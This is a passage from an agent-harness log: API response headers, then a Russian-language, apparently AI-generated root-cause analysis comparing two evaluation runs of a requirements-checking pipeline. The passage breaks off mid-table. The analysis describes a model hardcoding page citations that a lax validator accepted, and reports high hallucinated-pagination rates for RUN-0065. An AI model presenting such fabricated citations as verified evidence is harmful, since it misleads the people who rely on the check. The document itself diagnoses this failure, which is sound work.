\"rejected\",\n[2026-09-29T07:46:21.822Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:21.826Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:21.833Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:21.840Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:21.848Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:21.850Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:21.858Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:21.861Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:21.864Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:21.866Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:21.869Z] [STDOUT]   \"request-id\": \"req_011CfXMpqEnHPJUCRHAnPwkz\",\n[2026-09-29T07:46:21.873Z] [STDOUT]   \"traceresponse\": \"00-fa614fcf96196883e8cbd3e1cff5e92c-1a801fd035a58eb3-01\",\n[2026-09-29T07:46:21.876Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:21.879Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:21.882Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:21.883Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:21.885Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:21.888Z] [STDOUT]   \"cf-ray\": \"a4295f9b6824dbb5-FRA\",\n[2026-09-29T07:46:21.890Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:21.894Z] [STDOUT] [log_347d5d] response parsed {\n[2026-09-29T07:46:21.898Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:21.902Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:21.906Z] [STDOUT]   body: X {\n[2026-09-29T07:46:21.908Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:21.910Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:21.912Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:21.914Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:21.918Z] [STDOUT]     },\n[2026-09-29T07:46:21.924Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:21.928Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:21.932Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:21.938Z] [STDOUT]   },\n[2026-09-29T07:46:21.944Z] [STDOUT]   durationMs: 962,\n[2026-09-29T07:46:21.950Z] [STDOUT] }\n[2026-09-29T07:46:21.959Z] [INFO] {\n[2026-09-29T07:46:21.959Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:21.959Z] [INFO]   \"message\": {\n[2026-09-29T07:46:21.959Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:21.959Z] [INFO]     \"content\": [\n[2026-09-29T07:46:21.959Z] [INFO]       {\n[2026-09-29T07:46:21.959Z] [INFO]         \"tool_use_id\": \"toolu_01CUtbytQyWNchNHm4tEqsW7\",\n[2026-09-29T07:46:21.959Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:21.959Z] [INFO]         \"content\": \"---\\nstatus: complete\\nupdated: 2026-09-01\\nai-generated: true\\ntype: analysis\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts/issues/353\\\"\\nrelated_runs:\\n  - RUN-0065\\n  - RUN-0066\\n---\\n\\n# A/B-RCA RUN-0065 vs RUN-0066 \u0434\u043b\u044f task-1099\\n\\n## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u041f\u0440\u043e\u0432\u0430\u043b RUN-0065 \u0432\u044b\u0437\u0432\u0430\u043d \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043e\u043a\u043d\u0430 \u0438 \u043d\u0435 \u0434\u0440\u0443\u0433\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u0411\u0417. \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\\n\u0441\u0431\u043e\u044f \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430\u0445 \u0438 raw trace: gpt-5.6-sol \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0430 \u043d\u043e\u043c\u0435\u0440\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0432\\n\u0440\u0443\u0447\u043d\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c `EVIDENCE`, \u0437\u0430\u0442\u0435\u043c \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 \u0442\u0438\u0440\u0430\u0436\u0438\u0440\u043e\u0432\u0430\u043b \u043e\u0434\u043d\u0443 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e\\n\u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u043f\u0440\u0430\u0432\u0438\u043b\u0443. \u041f\u043e\u0437\u0434\u043d\u044f\u044f \u0432\u044b\u0431\u043e\u0440\u043e\u0447\u043d\u0430\u044f \u0441\u0432\u0435\u0440\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0430\u0441\u0442\u044c \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u043d\u043e \u043d\u0435\\n`record`, \u0430 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u043f\u0440\u0430\u0432\u0438\u043b \u043d\u0430\u043f\u0440\u0430\u0432\u0438\u043b \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u00ab\u0410\u0432\u0438\u0442\u043e \u0420\u0430\u0431\u043e\u0442\u0430\u00bb \u0432 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0439\\n\u043a\u043b\u0430\u0441\u0441 `address`. \u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0445\u043e\u0436\u0435\u0439 \u043d\u0430 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0438, \u043d\u043e \u043d\u0435\\n\u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b \u0435\u0451 \u0441 frontmatter, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438\u043d\u044f\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.\\n\\n\u041d\u0430 \u0432\u044b\u0431\u043e\u0440\u043a\u0435 \u0438\u0437 **65 \u0441\u0442\u0440\u043e\u043a** RUN-0065 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c\u0438 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430\u043c\u0438 \u0432\\n47.7% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0438 \u0434\u0430\u043b \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e\\n\u043f\u0430\u0433\u0438\u043d\u0430\u0446\u0438\u044e (\u0394 > 2) \u0432 43.1% \u0441\u0442\u0440\u043e\u043a. RUN-0066\\n\u0434\u0430\u043b 100.0% \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439 \u0438 0 \u0442\u0430\u043a\u0438\u0445 \u0441\u0434\u0432\u0438\u0433\u043e\u0432.\\n\\n## \u0414\u0430\u043d\u043d\u044b\u0435 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c\\n\\n- RUN-0065 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0438\u043c\u0435\u043d\u043d\u043e \u0438\u0437 commit `acb6c7bc`; blob \u043e\u0442\u0447\u0451\u0442\u0430:\\n  `36c3283c848107fa8922f987e65aec79ea0ac1d5`.\\n  \u0414\u043b\u044f shallow CI \u0435\u0433\u043e \u0442\u043e\u0447\u043d\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0430 \u043a\u0430\u043a\\n  [`data/2026-09-01-run-0065-acb6c7bc.fixture`](data/2026-09-01-run-0065-acb6c7bc.fixture)\\n  (SHA-256 `25181d67b00d70fea1c7d1168c55ad57f7ae4fee4a5be3554fbca8db22349ab0`);\\n  \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438 SHA-256, \u0438 git blob SHA-1.\\n- RUN-0066 \u0432\u0437\u044f\u0442 \u0438\u0437 commit `e0f4ba55`; blob \u043e\u0442\u0447\u0451\u0442\u0430:\\n  `845fd2887b99ef2ddf0e6a44d99921d62f96306a`.\\n- \u041f\u043e\u043b\u043d\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0432\u044b\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\\n  [`data/2026-09-01-run-0065-vs-0066-sample.json`](data/2026-09-01-run-0065-vs-0066-sample.json).\\n- \u0412\u044b\u0431\u043e\u0440\u043a\u0430 \u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439\\n  `python3 experiments/issue_353/analyze_runs.py`.\\n- \u0422\u0440\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f post-generation \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 commit `acb6c7bc` \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\\n  \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0442\u0441\u044f \u0431\u0435\u0437 \u043d\u043e\u0432\u043e\u0433\u043e LLM-\u0432\u044b\u0437\u043e\u0432\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439\\n  `python3 experiments/issue_353/replay_acb_generator.py`. \u0422\u043e\u0447\u043d\u044b\u0439 replay\\n  \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e LLM-\u0432\u044b\u0437\u043e\u0432\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d: \u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445 \u043d\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0433\u043e system prompt \u0438\\n  \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u043c\u043e\u0434\u0435\u043b\u0438; \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u0436\u0435 \u0437\u0430\u043a\u043e\u043c\u043c\u0438\u0447\u0435\u043d\u043d\u0443\u044e \u043b\u043e\u0433\u0438\u043a\u0443 \u043f\u0440\u0430\u0432\u0438\u043b.\\n- \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0431\u0435\u0437\u043b\u0438\u0447\u0435\u043d\u043d\u044b\u0439 trace \u0438 \u0435\u0433\u043e provenance \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n  [`evidence/README.md`](evidence/README.md).\\n\\nRUN-0066 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u044d\u0442\u0430\u043b\u043e\u043d \u043f\u043e \u043f\u0440\u044f\u043c\u043e\u043c\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e issue #353 \u0438 \u043f\u043e\\n\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 >95%, \u0430 \u043d\u0435 \u043a\u0430\u043a \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u0430\u044f \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u0430\u044f \u0438\u0441\u0442\u0438\u043d\u0430.\\n`Accuracy_verdict` \u2014 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u0441 \u0435\u0433\u043e \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c. `Accuracy_page` \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u0440\u0435\u0434\u0438\\n\u0441\u0442\u0440\u043e\u043a, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u044d\u043c\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443: \u0432\u0441\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0441\u0442\u0440\u043e\u043a\u0438\\n\u0434\u043e\u043b\u0436\u043d\u044b \u0441\u043e\u0432\u043f\u0430\u0441\u0442\u044c \u0441 frontmatter \u0441 \u0434\u043e\u043f\u0443\u0441\u043a\u043e\u043c \u22642. `Hallucination_rate` \u2014 \u0434\u043e\u043b\u044f \u0432\u0441\u0435\u0445 65\\n\u0441\u0442\u0440\u043e\u043a, \u0433\u0434\u0435 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u0430 \u0441\u0441\u044b\u043b\u043a\u0430 \u0438\u043c\u0435\u0435\u0442 \u0394 >2. `Decomposition_quality` \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\\n\u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0443\u044e \u0431\u0438\u043d\u0430\u0440\u043d\u0443\u044e \u0448\u043a\u0430\u043b\u0443 \u0438 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 **\u044d\u043c\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f**, \u0430 \u043d\u0435 \u0441\u0441\u044b\u043b\u043a\u0438.\\n\u0418\u0437 evidence-\u044f\u0447\u0435\u0439\u043a\u0438 \u0432\u044b\u0434\u0435\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f/clauses; \u043a\u0430\u0436\u0434\u043e\u043c\u0443 \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u0442\u0443\u0441\\n`\u0414\u0430/\u041d\u0435\u0442` \u0438\u0437 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 \u0438 \u044f\u0432\u043d\u044b\u0445 \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043c\u0430\u0440\u043a\u0435\u0440\u043e\u0432. \u0421\u0442\u0440\u043e\u043a\u0430 \u00ab\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u00bb, \u0442\u043e\u043b\u044c\u043a\u043e\\n\u0435\u0441\u043b\u0438 \u0432\u0441\u0435 reference claim/status tuples \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u0437\u0430\u0438\u043c\u043d\u043e-\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u0443\u044e \u043f\u0430\u0440\u0443 \u0442\u043e\u0433\u043e \u0436\u0435\\n\u0441\u0442\u0430\u0442\u0443\u0441\u0430 \u0441 token-Jaccard \u22650.25 \u0438 \u043b\u0438\u0448\u043d\u0438\u0445 claims \u043d\u0435\u0442; \u0438\u043d\u0430\u0447\u0435 \u00ab\u0433\u0440\u0443\u0431\u043e\u00bb. \u041f\u043e\u043b\u043d\u044b\u0435 \u0442\u0435\u043a\u0441\u0442\u044b,\\n\u0441\u0442\u0430\u0442\u0443\u0441\u044b, \u0442\u043e\u043a\u0435\u043d\u044b \u0438 \u043f\u0430\u0440\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0432 JSON. \u0414\u0432\u0435 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438\\n(\u211661: \u00ab\u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u0432\u0435\u0440\u043a\u0438\u00bb; \u2116187: \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u00ab\u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043e\u043a\u043d\u0430\u00bb) \u0438\u043c\u0435\u044e\u0442 \u044f\u0432\u043d\u044b\u0435\\nreviewed status annotations, \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u044b\u0435 \u0442\u0435\u0441\u0442\u043e\u043c. Citation-target Jaccard \u043f\u043e\u043a\u0430\u0437\u0430\u043d\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043a\u0430\u043a \u0434\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 `cite J` \u0438 \u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043c\u0435\u0442\u0440\u0438\u043a\u0443. RUN-0066 \u0440\u0430\u0432\u0435\u043d\\n100% \u043f\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044e \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0433\u043e reference, \u0430 \u043d\u0435 \u043a\u0430\u043a \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\n\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430.\\n\\n## \u041c\u0435\u0442\u0440\u0438\u043a\u0438\\n\\n| \u041c\u0435\u0442\u0440\u0438\u043a\u0430 | RUN-0065 | RUN-0066 |\\n| --- | ---: | ---: |\\n| `Accuracy_verdict` | 31/65 = 47.7% | 65/65 = 100.0% |\\n| `Accuracy_page` (eligible rows, \u0434\u043e\u043f\u0443\u0441\u043a \u22642) | 17/45 = 37.8% | 64/64 = 100.0% |\\n| `Hallucination_rate` (\u0394 >2 / \u0432\u0441\u0435 \u0441\u0442\u0440\u043e\u043a\u0438) | 28/65 = 43.1% | 0/65 = 0.0% |\\n| `Decomposition_quality` (\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e: exact claim/status matching) | 0/65 = 0.0% | 65/65 = 100.0% |\\n\\nRUN-0066 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 \u2116173, \u0433\u0434\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u0440\u043e\u0433\\n85% \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442; \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043d\u0430\u043c\u0435\u043d\u0430\u0442\u0435\u043b\u044c `Accuracy_page` \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u0440\u0430\u0432\u0435\u043d 64, \u0430 \u043d\u0435 65.\\n\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043d\u0435 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f.\\n\\n## \u041f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u043e\u0435 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435\\n\\n\u0412\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432\u0441\u0435 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u0433\u0434\u0435 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d \u0441\u0441\u044b\u043b\u0430\u043b\u0441\u044f \u043d\u0430 \u043e\u0434\u0438\u043d \u0438\u0437\\n\u043f\u044f\u0442\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432: \u00a74.5.3.4, \u00a74.5.11.2.2, \u00a74.5.19, \u00a74.6.3.5 \u0438\u043b\u0438 \u00a75.\\n\u041a\u043e\u043b\u043e\u043d\u043a\u0430 \u00ab\u0424\u0430\u043a\u0442\u00bb \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0430\u043b\u043e\u043d RUN-0066, \u043d\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432 \u043d\u0435\u0439 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\\n\u043f\u0435\u0440\u0435\u0447\u0438\u0442\u0430\u043d\u044b \u0438\u0437 frontmatter \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\\n\\n\\n| \u2116 | \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 (\u0441\u043e\u043a\u0440\u0430\u0449\u0435\u043d\u043e) | RUN-0065: \u0432\u0435\u0440\u0434\u0438\u043a\u0442; \u00a7@\u0441\u0442\u0440. | RUN-0066: \u0432\u0435\u0440\u0434\u0438\u043a\u0442; \u00a7@\u0441\u0442\u0440. | \u0424\u0430\u043a\u0442: \u0432\u0435\u0440\u0434\u0438\u043a\u0442; \u00a7@\u0441\u0442\u0440. | \u0414\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f 65/66 (claim match; cite J) |\\n| ---: | --- | --- | --- | --- | --- |\\n| 11 | \u041f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 \u0432 \u0432\u0438\u0434\u0435 \u0412\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0410\u0422\u0421 \u0441 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e\u2026 | \u0414\u0430; \u00a75@520 | \u0414\u0430; \u00a75@520; \u00a74.4.2.1@105-121 | \u0414\u0430; \u00a75@520; \u00a74.4.2.1@105-121 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=50.0% |\\n| 15 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043e\u0431\u043b\u0430\u0434\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u043f\u0443\u043b\u043e\u043c \u043d\u043e\u043c\u0435\u0440\u043d\u043e\u0439 \u0435\u043c\u043a\u043e\u0441\u0442\u0438, \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u0431\u043e\u0440\u0430 \u0438 \u0437\u0430\u043a\u2026 | \u041d\u0435\u0442; \u2014 | \u0414\u0430; \u00a74.6.6@488-490; \u00a74.5.19@414-416 | \u0414\u0430; \u00a74.6.6@488-490; \u00a74.5.19@414-416 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 17 | \u0414\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u043e\u043c\u0435\u0440\u043d\u0443\u044e \u0451\u043c\u043a\u043e\u0441\u0442\u044c \u00ab\u0411\u0438\u043b\u0430\u0439\u043d\u00bb \u0437\u0430 \u0441\u0447\u0451\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u2026 | \u0414\u0430; \u00a75@520 | \u0414\u0430; \u00a75.3.1@522; \u00a76@22-30 | \u0414\u0430; \u00a75.3.1@522; \u00a76@22-30 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 44 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u043d\u043e\u043c\u0435\u0440\u0430 \u043f\u0440\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u2026 | \u0414\u0430; \u00a75@520 | \u0414\u0430; \u00a74.5.19@414-416; \u00a75@520 | \u0414\u0430; \u00a74.5.19@414-416; \u00a75@520 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=50.0% |\\n| 45 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u043d\u043e\u043c\u0435\u0440 \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u0437 \u043f\u0443\u043b\u0430 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\u2026 | \u041d\u0435\u0442; \u2014 | \u0414\u0430; \u00a74.5.19@414-416; \u00a74.5.19.7@427-428 | \u0414\u0430; \u00a74.5.19@414-416; \u00a74.5.19.7@427-428 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 48 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0438 